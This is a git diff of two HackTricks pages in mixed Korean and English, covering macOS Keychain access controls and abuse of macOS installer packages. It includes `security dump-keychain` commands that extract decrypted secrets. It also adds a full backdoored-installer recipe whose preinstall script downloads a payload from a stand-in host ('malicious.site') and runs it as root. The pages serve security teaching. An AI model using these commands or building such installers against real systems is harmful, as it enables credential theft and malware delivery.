키체인의 각 항목은 **액세스 제어 목록 (ACLs)**에 의해 관리되며, 키체인 항목에 대해 다양한 작업을 수행할 수 있는 사용자를 규정합니다. 이에는 다음이 포함됩니다:
|
||||
키체인의 각 항목은 **Access Control Lists (ACLs)**에 의해 관리되며, 이는 키체인 항목에 대해 다양한 작업을 수행할 수 있는 사람을 규정합니다:
|
||||
|
||||
* **ACLAuhtorizationExportClear**: 보유자가 비밀번호의 평문을 가져올 수 있도록 합니다.
|
||||
* **ACLAuhtorizationExportWrapped**: 보유자가 다른 제공된 비밀번호로 암호화된 평문을 가져올 수 있도록 합니다.
|
||||
* **ACLAuhtorizationAny**: 보유자가 모든 작업을 수행할 수 있도록 합니다.
|
||||
* **ACLAuhtorizationExportClear**: 보유자가 비밀의 평문을 얻을 수 있도록 허용합니다.
|
||||
* **ACLAuhtorizationExportWrapped**: 보유자가 다른 제공된 비밀번호로 암호화된 평문을 얻을 수 있도록 허용합니다.
|
||||
* **ACLAuhtorizationAny**: 보유자가 모든 작업을 수행할 수 있도록 허용합니다.
|
||||
|
||||
ACLs는 **프롬프트 없이** 이러한 작업을 수행할 수 있는 **신뢰할 수 있는 응용 프로그램 목록**과 함께 제공됩니다. 이는 다음과 같을 수 있습니다:
|
||||
ACL은 이러한 작업을 사용자에게 요청하지 않고 수행할 수 있는 **신뢰할 수 있는 애플리케이션 목록**과 함께 제공됩니다. 이는 다음과 같을 수 있습니다:
|
||||
|
||||
* **N`il`** (인증 필요 없음, **모두 신뢰함**)
|
||||
* **빈** 목록 (**아무도 신뢰하지 않음**)
|
||||
* 특정 **응용 프로그램** 목록.
|
||||
* **N`il`** (인증 필요 없음, **모두 신뢰됨**)
|
||||
* **빈** 목록 (**아무도** 신뢰되지 않음)
|
||||
* **특정 애플리케이션**의 **목록**.
|
||||
|
||||
또한 항목에는 **`ACLAuthorizationPartitionID`**가 포함될 수 있으며, 이는 **teamid, apple,** 및 **cdhash**를 식별하는 데 사용됩니다.
|
||||
또한 항목에는 **`ACLAuthorizationPartitionID`**라는 키가 포함될 수 있으며, 이는 **teamid, apple,** 및 **cdhash**를 식별하는 데 사용됩니다.
|
||||
|
||||
* **teamid**가 지정된 경우, 항목 값을 **프롬프트 없이** 액세스하려면 사용된 응용 프로그램은 **동일한 teamid**를 가져야 합니다.
|
||||
* **apple**이 지정된 경우, 앱은 **Apple**에 의해 **서명**되어야 합니다.
|
||||
* **teamid**가 지정된 경우, **프롬프트 없이** 항목 값을 **접근하기 위해** 사용된 애플리케이션은 **같은 teamid**를 가져야 합니다.
|
||||
* **apple**이 지정된 경우, 애플리케이션은 **Apple**에 의해 **서명**되어야 합니다.
|
||||
* **cdhash**가 표시된 경우, **앱**은 특정 **cdhash**를 가져야 합니다.
|
||||
|
||||
### 키체인 항목 생성
|
||||
|
||||
**`Keychain Access.app`**을 사용하여 **새로운 항목**을 만들 때 다음 규칙이 적용됩니다:
|
||||
**`Keychain Access.app`**를 사용하여 **새로운** **항목**이 생성될 때 다음 규칙이 적용됩니다:
|
||||
|
||||
* 모든 앱은 암호화할 수 있습니다.
|
||||
* **어떤 앱도** 내보내기/해독할 수 없습니다 (사용자에게 프롬프트 없이).
|
||||
* 모든 앱은 무결성 검사를 볼 수 있습니다.
|
||||
* 모든 앱이 암호화할 수 있습니다.
|
||||
* **어떤 앱도** 내보내기/복호화할 수 없습니다 (사용자에게 요청 없이).
|
||||
* 모든 앱이 무결성 검사를 볼 수 있습니다.
|
||||
* 어떤 앱도 ACL을 변경할 수 없습니다.
|
||||
* **partitionID**는 **`apple`**로 설정됩니다.
|
||||
|
||||
**응용 프로그램이 키체인에 항목을 만드는 경우**, 규칙은 약간 다릅니다:
|
||||
**애플리케이션이 키체인에 항목을 생성할 때** 규칙은 약간 다릅니다:
|
||||
|
||||
* 모든 앱은 암호화할 수 있습니다.
|
||||
* 항목을 내보내기/해독할 수 있는 것은 **생성 응용 프로그램** (또는 명시적으로 추가된 다른 앱)만 가능합니다 (사용자에게 프롬프트 없이).
|
||||
* 모든 앱은 무결성 검사를 볼 수 있습니다.
|
||||
* 모든 앱이 암호화할 수 있습니다.
|
||||
* 오직 **생성 애플리케이션**(또는 명시적으로 추가된 다른 앱)만이 내보내기/복호화할 수 있습니다 (사용자에게 요청 없이).
|
||||
* 모든 앱이 무결성 검사를 볼 수 있습니다.
|
||||
* 어떤 앱도 ACL을 변경할 수 없습니다.
|
||||
* **partitionID**는 **`teamid:[teamID here]`**로 설정됩니다.
|
||||
|
||||
## 키체인 액세스
|
||||
## Accessing the Keychain
|
||||
|
||||
### `security`
|
||||
```bash
|
||||
# List keychains
|
||||
security list-keychains
|
||||
|
||||
# Dump all metadata and decrypted secrets (a lot of pop-ups)
|
||||
security dump-keychain -a -d
|
||||
|
||||
|
@ -90,60 +93,63 @@ security find-generic-password -a "Slack" -g
|
|||
|
||||
# Change the specified entrys PartitionID entry
|
||||
security set-generic-password-parition-list -s "test service" -a "test acount" -S
|
||||
|
||||
# Dump specifically the user keychain
|
||||
security dump-keychain ~/Library/Keychains/login.keychain-db
|
||||
```
|
||||
### API
|
||||
### APIs
|
||||
|
||||
{% hint style="success" %}
|
||||
**키체인 열거 및 덤프**는 **프롬프트를 생성하지 않는** 비밀을 수행할 수 있습니다. 이 작업은 [**LockSmith**](https://github.com/its-a-feature/LockSmith) 도구를 사용하여 수행할 수 있습니다.
|
||||
**키체인 열거 및 비밀번호 덤프**는 **프롬프트를 생성하지 않는** 비밀을 처리할 수 있는 도구 [**LockSmith**](https://github.com/its-a-feature/LockSmith)로 수행할 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
각 키체인 항목에 대한 **정보**를 나열하고 가져옵니다:
|
||||
|
||||
* API **`SecItemCopyMatching`**은 각 항목에 대한 정보를 제공하며 사용할 때 설정할 수 있는 몇 가지 속성이 있습니다:
|
||||
* **`kSecReturnData`**: true로 설정하면 데이터를 복호화하려고 시도합니다 (잠재적인 팝업을 피하려면 false로 설정)
|
||||
* API **`SecItemCopyMatching`**은 각 항목에 대한 정보를 제공하며, 사용할 때 설정할 수 있는 몇 가지 속성이 있습니다:
|
||||
* **`kSecReturnData`**: true인 경우 데이터를 복호화하려고 시도합니다 (팝업을 피하려면 false로 설정)
|
||||
* **`kSecReturnRef`**: 키체인 항목에 대한 참조도 가져옵니다 (나중에 팝업 없이 복호화할 수 있는 경우 true로 설정)
|
||||
* **`kSecReturnAttributes`**: 항목에 대한 메타데이터 가져오기
|
||||
* **`kSecReturnAttributes`**: 항목에 대한 메타데이터를 가져옵니다
|
||||
* **`kSecMatchLimit`**: 반환할 결과 수
|
||||
* **`kSecClass`**: 어떤 종류의 키체인 항목
|
||||
* **`kSecClass`**: 어떤 종류의 키체인 항목인지
|
||||
|
||||
각 항목의 **ACL** 가져오기:
|
||||
각 항목의 **ACL**을 가져옵니다:
|
||||
|
||||
* API **`SecAccessCopyACLList`**를 사용하여 **키체인 항목의 ACL**을 가져올 수 있으며 각 목록에는 다음과 같은 ACL 목록이 반환됩니다 (`ACLAuhtorizationExportClear` 및 이전에 언급된 기타 항목):
|
||||
* API **`SecAccessCopyACLList`**를 사용하여 **키체인 항목의 ACL**을 가져올 수 있으며, 각 목록에는 다음과 같은 ACL 목록이 반환됩니다 (예: `ACLAuhtorizationExportClear` 및 이전에 언급된 다른 항목들):
|
||||
* 설명
|
||||
* **신뢰할 수 있는 응용 프로그램 목록**. 이것은 다음과 같을 수 있습니다:
|
||||
* 응용 프로그램: /Applications/Slack.app
|
||||
* 이진 파일: /usr/libexec/airportd
|
||||
* **신뢰할 수 있는 애플리케이션 목록**. 이는 다음과 같을 수 있습니다:
|
||||
* 애플리케이션: /Applications/Slack.app
|
||||
* 바이너리: /usr/libexec/airportd
|
||||
* 그룹: group://AirPort
|
||||
|
||||
데이터 내보내기:
|
||||
데이터를 내보냅니다:
|
||||
|
||||
* API **`SecKeychainItemCopyContent`**는 평문을 가져옵니다
|
||||
* API **`SecItemExport`**는 키 및 인증서를 내보내지만 내보낼 내용을 암호화하려면 암호를 설정해야 할 수도 있습니다
|
||||
* API **`SecItemExport`**는 키와 인증서를 내보내지만, 암호화된 내용을 내보내기 위해 암호를 설정해야 할 수도 있습니다
|
||||
|
||||
**프롬프트 없이 비밀을 내보내기**하려면 다음이 **요구 사항**입니다:
|
||||
그리고 **프롬프트 없이 비밀을 내보내기 위한 요구 사항**은 다음과 같습니다:
|
||||
|
||||
* **1개 이상의 신뢰할 수 있는** 앱이 목록에 나열된 경우:
|
||||
* 적절한 **권한**이 필요합니다 (**`Nil`**, 또는 비밀 정보에 액세스하기 위한 권한이 허용된 앱 목록의 일부여야 함)
|
||||
* **1개 이상의 신뢰할 수 있는** 애플리케이션이 나열된 경우:
|
||||
* 적절한 **권한**이 필요합니다 (**`Nil`**, 또는 비밀 정보에 접근하기 위한 권한의 허용 목록에 **포함**되어야 함)
|
||||
* 코드 서명이 **PartitionID**와 일치해야 합니다
|
||||
* 코드 서명이 **신뢰할 수 있는 앱** 중 하나와 일치해야 합니다 (또는 올바른 KeychainAccessGroup의 구성원이어야 함)
|
||||
* **모든 응용 프로그램이 신뢰할 경우**:
|
||||
* 코드 서명이 하나의 **신뢰할 수 있는 애플리케이션**과 일치해야 합니다 (또는 올바른 KeychainAccessGroup의 구성원이어야 함)
|
||||
* **모든 애플리케이션이 신뢰할 수 있는 경우**:
|
||||
* 적절한 **권한**이 필요합니다
|
||||
* 코드 서명이 **PartitionID**와 일치해야 합니다
|
||||
* **PartitionID가 없는 경우** 이는 필요하지 않습니다
|
||||
* **PartitionID**가 없는 경우, 이는 필요하지 않습니다
|
||||
|
||||
{% hint style="danger" %}
|
||||
따라서 **1개의 응용 프로그램이 나열**된 경우 해당 응용 프로그램에 **코드를 삽입**해야 합니다.
|
||||
따라서 **1개의 애플리케이션이 나열된 경우**, 해당 애플리케이션에 **코드를 주입해야** 합니다.
|
||||
|
||||
**PartitionID**에 **apple**이 표시된 경우 **`osascript`**를 사용하여 해당 PartitionID에 apple이 포함된 모든 응용 프로그램에 액세스할 수 있습니다. **`Python`**도 이에 사용할 수 있습니다.
|
||||
**apple**이 **partitionID**에 표시된 경우, **`osascript`**를 사용하여 접근할 수 있으므로 partitionID에 apple이 있는 모든 애플리케이션을 신뢰할 수 있습니다. **`Python`**도 이를 위해 사용할 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
### 두 가지 추가 속성
|
||||
|
||||
* **Invisible**: UI 키체인 앱에서 항목을 **숨기는** 부울 플래그입니다
|
||||
* **General**: **메타데이터**를 저장하는 데 사용됩니다 (따라서 **암호화되지 않음**)
|
||||
* Microsoft는 모든 민감한 엔드포인트에 액세스하기 위한 모든 리프레시 토큰을 평문으로 저장했습니다.
|
||||
* **Invisible**: UI 키체인 앱에서 항목을 **숨기기** 위한 불리언 플래그입니다
|
||||
* **General**: **메타데이터**를 저장하기 위한 것입니다 (따라서 **암호화되지 않음**)
|
||||
* Microsoft는 민감한 엔드포인트에 접근하기 위한 모든 새로 고침 토큰을 평문으로 저장하고 있었습니다.
|
||||
|
||||
## 참고 자료
|
||||
## References
|
||||
|
||||
* [**#OBTS v5.0: "Lock Picking the macOS Keychain" - Cody Thomas**](https://www.youtube.com/watch?v=jKE1ZW33JpY)
|
||||
|
||||
|
@ -151,25 +157,25 @@ security set-generic-password-parition-list -s "test service" -a "test acount" -
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)은 **다크 웹**을 통해 제공되는 검색 엔진으로, 회사 또는 그 고객이 **스틸러 악성 코드**에 의해 **침해**당했는지 확인하는 **무료** 기능을 제공합니다.
|
||||
[**WhiteIntel**](https://whiteintel.io)는 **다크 웹** 기반의 검색 엔진으로, 기업이나 고객이 **탈취 악성코드**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
||||
|
||||
WhiteIntel의 주요 목표는 정보 탈취 악성 코드로 인한 계정 탈취 및 랜섬웨어 공격을 막는 것입니다.
|
||||
WhiteIntel의 주요 목표는 정보 탈취 악성코드로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
|
||||
|
||||
그들의 웹사이트를 방문하여 **무료**로 엔진을 사용해 볼 수 있습니다:
|
||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS 해킹 배우기 및 연습하기:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks 지원</summary>
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃헙 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나, **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 팁을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,35 +1,37 @@
|
|||
# macOS 설치 프로그램 남용
|
||||
# macOS Installers Abuse
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks 지원</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Pkg 기본 정보
|
||||
## Pkg Basic Information
|
||||
|
||||
macOS **설치 프로그램 패키지** (또는 `.pkg` 파일로 알려진)는 macOS에서 **소프트웨어를 배포**하는 데 사용되는 파일 형식입니다. 이러한 파일은 설치 및 실행에 필요한 모든 것을 포함하는 **상자와 같습니다**.
|
||||
macOS **설치 패키지**(또는 `.pkg` 파일로 알려짐)는 macOS에서 **소프트웨어를 배포하기 위해 사용되는 파일 형식**입니다. 이 파일들은 소프트웨어가 올바르게 설치되고 실행되는 데 필요한 모든 것을 포함하는 **상자**와 같습니다.
|
||||
|
||||
패키지 파일 자체는 **대상 컴퓨터에 설치될 파일 및 디렉토리 계층 구조**를 보유하는 아카이브입니다. 또한 **설정 파일 설정 또는 이전 버전의 소프트웨어를 정리하는 작업과 같은 작업을 수행하는 스크립트**를 포함할 수 있습니다.
|
||||
패키지 파일 자체는 **대상** 컴퓨터에 설치될 **파일 및 디렉토리의 계층 구조**를 포함하는 아카이브입니다. 또한 **설치 전후에 작업을 수행하는 스크립트**를 포함할 수 있으며, 예를 들어 구성 파일을 설정하거나 소프트웨어의 이전 버전을 정리하는 작업을 수행합니다.
|
||||
|
||||
### 계층 구조
|
||||
### Hierarchy
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/Pasted Graphic.png" alt="https://www.youtube.com/watch?v=iASSG0_zobQ"><figcaption></figcaption></figure>
|
||||
|
||||
* **Distribution (xml)**: 사용자 정의 (제목, 환영 텍스트...) 및 스크립트/설치 확인
|
||||
* **Distribution (xml)**: 사용자 정의(제목, 환영 텍스트…) 및 스크립트/설치 확인
|
||||
* **PackageInfo (xml)**: 정보, 설치 요구 사항, 설치 위치, 실행할 스크립트 경로
|
||||
* **Bill of materials (bom)**: 파일 목록 및 파일 권한으로 설치, 업데이트 또는 제거
|
||||
* **Payload (CPIO 아카이브 gzip 압축)**: PackageInfo의 `install-location`에 설치할 파일
|
||||
* **Scripts (CPIO 아카이브 gzip 압축)**: 임시 디렉토리로 추출된 사전 및 사후 설치 스크립트 및 기타 리소스.
|
||||
* **Bill of materials (bom)**: 설치, 업데이트 또는 제거할 파일 목록 및 파일 권한
|
||||
* **Payload (CPIO archive gzip compresses)**: PackageInfo에서 `install-location`에 설치할 파일
|
||||
* **Scripts (CPIO archive gzip compressed)**: 설치 전후 스크립트 및 실행을 위해 임시 디렉토리에 추출된 추가 리소스.
|
||||
|
||||
### Decompress
|
||||
```bash
|
||||
# Tool to directly get the files inside a package
|
||||
pkgutil —expand "/path/to/package.pkg" "/path/to/out/dir"
|
||||
|
@ -43,60 +45,143 @@ xar -xf "/path/to/package.pkg"
|
|||
cat Scripts | gzip -dc | cpio -i
|
||||
cpio -i < Scripts
|
||||
```
|
||||
In order to visualize the contents of the installer without decompressing it manually you can also use the free tool [**Suspicious Package**](https://mothersruin.com/software/SuspiciousPackage/).
|
||||
|
||||
## DMG 기본 정보
|
||||
|
||||
DMG 파일 또는 Apple 디스크 이미지는 Apple의 macOS에서 사용되는 파일 형식입니다. DMG 파일은 기본적으로 **마운트 가능한 디스크 이미지**이며(자체 파일 시스템을 포함), 일반적으로 압축되고 때로는 암호화된 원시 블록 데이터를 포함합니다. DMG 파일을 열면 macOS가 **물리적 디스크처럼 마운트**하여 내용에 액세스할 수 있게 됩니다.
|
||||
DMG 파일, 또는 Apple Disk Images,는 Apple의 macOS에서 디스크 이미지를 위해 사용되는 파일 형식입니다. DMG 파일은 본질적으로 **마운트 가능한 디스크 이미지**(자체 파일 시스템을 포함함)로, 일반적으로 압축되고 때때로 암호화된 원시 블록 데이터를 포함합니다. DMG 파일을 열면 macOS가 **물리적 디스크처럼 마운트**하여 그 내용을 접근할 수 있게 합니다.
|
||||
|
||||
{% hint style="danger" %}
|
||||
**`.dmg`** 설치 프로그램은 **다양한 형식을** 지원하므로, 과거에는 취약점을 포함한 일부 파일이 **커널 코드 실행을** 얻기 위해 남용되었음을 유의하십시오.
|
||||
Note that **`.dmg`** installers support **so many formats** that in the past some of them containing vulnerabilities were abused to obtain **kernel code execution**.
|
||||
{% endhint %}
|
||||
|
||||
### 계층 구조
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (225).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
DMG 파일의 계층 구조는 내용에 따라 다를 수 있습니다. 그러나 응용 프로그램 DMG의 경우 일반적으로 다음 구조를 따릅니다:
|
||||
DMG 파일의 계층 구조는 내용에 따라 다를 수 있습니다. 그러나 애플리케이션 DMG의 경우 일반적으로 다음 구조를 따릅니다:
|
||||
|
||||
* 최상위: 이것은 디스크 이미지의 루트입니다. 일반적으로 응용 프로그램과 macOS의 Applications 폴더로의 링크를 포함합니다.
|
||||
* 응용 프로그램 (.app): 이것은 실제 응용 프로그램입니다. macOS에서 응용 프로그램은 일반적으로 응용 프로그램을 구성하는 많은 개별 파일과 폴더를 포함하는 패키지입니다.
|
||||
* 응용 프로그램 링크: 이것은 macOS의 Applications 폴더로의 바로 가기입니다. 이것의 목적은 응용 프로그램을 설치하기 쉽게 만드는 것입니다. .app 파일을 이 바로 가기로 끌어다가 응용 프로그램을 설치할 수 있습니다.
|
||||
* 최상위: 이것은 디스크 이미지의 루트입니다. 일반적으로 애플리케이션과 애플리케이션 폴더에 대한 링크를 포함합니다.
|
||||
* 애플리케이션 (.app): 이것은 실제 애플리케이션입니다. macOS에서 애플리케이션은 일반적으로 애플리케이션을 구성하는 여러 개별 파일과 폴더를 포함하는 패키지입니다.
|
||||
* 애플리케이션 링크: 이것은 macOS의 애플리케이션 폴더에 대한 바로 가기입니다. 이 목적은 애플리케이션 설치를 쉽게 하기 위함입니다. .app 파일을 이 바로 가기로 드래그하여 앱을 설치할 수 있습니다.
|
||||
|
||||
## pkg 남용을 통한 권한 상승
|
||||
|
||||
### 공용 디렉터리에서 실행
|
||||
### 공개 디렉토리에서의 실행
|
||||
|
||||
예를 들어 사전 또는 사후 설치 스크립트가 **`/var/tmp/Installerutil`**에서 실행되고 있고, 공격자가 해당 스크립트를 제어할 수 있다면 실행될 때마다 권한을 상승시킬 수 있습니다. 또 다른 유사한 예는 다음과 같습니다:
|
||||
예를 들어, 설치 전 또는 후 스크립트가 **`/var/tmp/Installerutil`**에서 실행되고, 공격자가 해당 스크립트를 제어할 수 있다면, 그는 실행될 때마다 권한을 상승시킬 수 있습니다. 또는 또 다른 유사한 예:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/Pasted Graphic 5.png" alt="https://www.youtube.com/watch?v=iASSG0_zobQ"><figcaption><p><a href="https://www.youtube.com/watch?v=kCXhIYtODBg">https://www.youtube.com/watch?v=kCXhIYtODBg</a></p></figcaption></figure>
|
||||
|
||||
### AuthorizationExecuteWithPrivileges
|
||||
|
||||
이것은 **루트로 실행할 내용을** 호출하는 [공개 함수](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg)입니다. 이 함수는 **실행할 파일의 경로**를 매개변수로 받지만, 공격자가 이 파일을 **수정**할 수 있다면 루트로의 실행을 **남용**하여 권한을 **상승**시킬 수 있습니다.
|
||||
이것은 여러 설치 프로그램과 업데이트 프로그램이 **root로 무언가를 실행하기 위해 호출하는 [공개 함수](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg)**입니다. 이 함수는 **실행할 파일의 경로**를 매개변수로 받아들이지만, 공격자가 이 파일을 **수정**할 수 있다면, 그는 root로 실행을 **남용**하여 **권한을 상승**시킬 수 있습니다.
|
||||
```bash
|
||||
# Breakpoint in the function to check wich file is loaded
|
||||
(lldb) b AuthorizationExecuteWithPrivileges
|
||||
# You could also check FS events to find this missconfig
|
||||
```
|
||||
### 마운트를 통한 실행
|
||||
For more info check this talk: [https://www.youtube.com/watch?v=lTOItyjTTkw](https://www.youtube.com/watch?v=lTOItyjTTkw)
|
||||
|
||||
만약 설치 프로그램이 `/tmp/fixedname/bla/bla`에 쓴다면, **noowners로 `/tmp/fixedname` 위에 마운트를 생성**하여 설치 중에 **어떤 파일이든 수정**할 수 있어 설치 프로세스를 악용할 수 있습니다.
|
||||
### Execution by mounting
|
||||
|
||||
이러한 예시로는 **CVE-2021-26089**가 있으며, 이는 **주기적 스크립트를 덮어쓰고 루트로 실행**하는 데 성공했습니다. 자세한 정보는 다음 발표를 참고하세요: [**OBTS v4.0: "Mount(ain) of Bugs" - Csaba Fitzl**](https://www.youtube.com/watch?v=jSYPazD4VcE)
|
||||
설치 프로그램이 `/tmp/fixedname/bla/bla`에 쓸 경우, **소유자가 없는** `/tmp/fixedname` 위에 **마운트를 생성**하여 설치 과정 중에 **설치 파일을 수정**하여 설치 프로세스를 악용할 수 있습니다.
|
||||
|
||||
## 악성코드로서의 pkg
|
||||
이의 예로 **CVE-2021-26089**가 있으며, 이는 **주기적인 스크립트를 덮어쓰는** 방식으로 루트 권한으로 실행을 얻었습니다. 더 많은 정보는 다음 강의를 참조하세요: [**OBTS v4.0: "Mount(ain) of Bugs" - Csaba Fitzl**](https://www.youtube.com/watch?v=jSYPazD4VcE)
|
||||
|
||||
### 빈 페이로드
|
||||
## pkg as malware
|
||||
|
||||
**`.pkg`** 파일에 **설치 전 및 설치 후 스크립트**만 생성하는 것이 가능합니다.
|
||||
### Empty Payload
|
||||
|
||||
### Distribution xml에 JS 삽입
|
||||
실제 페이로드 없이 **악성 코드**가 포함된 **사전 및 사후 설치 스크립트**로 **`.pkg`** 파일을 생성하는 것이 가능합니다.
|
||||
|
||||
패키지의 **distribution xml** 파일에 **`<script>`** 태그를 추가하여 해당 코드가 실행되고 **`system.run`**을 사용하여 **명령을 실행**할 수 있습니다:
|
||||
### JS in Distribution xml
|
||||
|
||||
패키지의 **배포 xml** 파일에 **`<script>`** 태그를 추가할 수 있으며, 해당 코드는 실행되어 **`system.run`**을 사용하여 **명령을 실행**할 수 있습니다:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1043).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## 참고 자료
|
||||
### Backdoored Installer
|
||||
|
||||
dist.xml 내부에 스크립트와 JS 코드를 사용하는 악성 설치 프로그램
|
||||
```bash
|
||||
# Package structure
|
||||
mkdir -p pkgroot/root/Applications/MyApp
|
||||
mkdir -p pkgroot/scripts
|
||||
|
||||
# Create preinstall scripts
|
||||
cat > pkgroot/scripts/preinstall <<EOF
|
||||
#!/bin/bash
|
||||
echo "Running preinstall script"
|
||||
curl -o /tmp/payload.sh http://malicious.site/payload.sh
|
||||
chmod +x /tmp/payload.sh
|
||||
/tmp/payload.sh
|
||||
exit 0
|
||||
EOF
|
||||
|
||||
# Build package
|
||||
pkgbuild --root pkgroot/root --scripts pkgroot/scripts --identifier com.malicious.myapp --version 1.0 myapp.pkg
|
||||
|
||||
# Generate the malicious dist.xml
|
||||
cat > ./dist.xml <<EOF
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<installer-gui-script minSpecVersion="1">
|
||||
<title>Malicious Installer</title>
|
||||
<options customize="allow" require-scripts="false"/>
|
||||
<script>
|
||||
<![CDATA[
|
||||
function installationCheck() {
|
||||
if (system.isSandboxed()) {
|
||||
my.result.title = "Cannot install in a sandbox.";
|
||||
my.result.message = "Please run this installer outside of a sandbox.";
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
function volumeCheck() {
|
||||
return true;
|
||||
}
|
||||
function preflight() {
|
||||
system.run("/path/to/preinstall");
|
||||
}
|
||||
function postflight() {
|
||||
system.run("/path/to/postinstall");
|
||||
}
|
||||
]]>
|
||||
</script>
|
||||
<choices-outline>
|
||||
<line choice="default">
|
||||
<line choice="myapp"/>
|
||||
</line>
|
||||
</choices-outline>
|
||||
<choice id="myapp" title="MyApp">
|
||||
<pkg-ref id="com.malicious.myapp"/>
|
||||
</choice>
|
||||
<pkg-ref id="com.malicious.myapp" installKBytes="0" auth="root">#myapp.pkg</pkg-ref>
|
||||
</installer-gui-script>
|
||||
EOF
|
||||
|
||||
# Buil final
|
||||
productbuild --distribution dist.xml --package-path myapp.pkg final-installer.pkg
|
||||
```
|
||||
## References
|
||||
|
||||
* [**DEF CON 27 - Unpacking Pkgs A Look Inside Macos Installer Packages And Common Security Flaws**](https://www.youtube.com/watch?v=iASSG0\_zobQ)
|
||||
* [**OBTS v4.0: "The Wild World of macOS Installers" - Tony Lambert**](https://www.youtube.com/watch?v=Eow5uNHtmIg)
|
||||
* [**DEF CON 27 - Unpacking Pkgs A Look Inside MacOS Installer Packages**](https://www.youtube.com/watch?v=kCXhIYtODBg)
|
||||
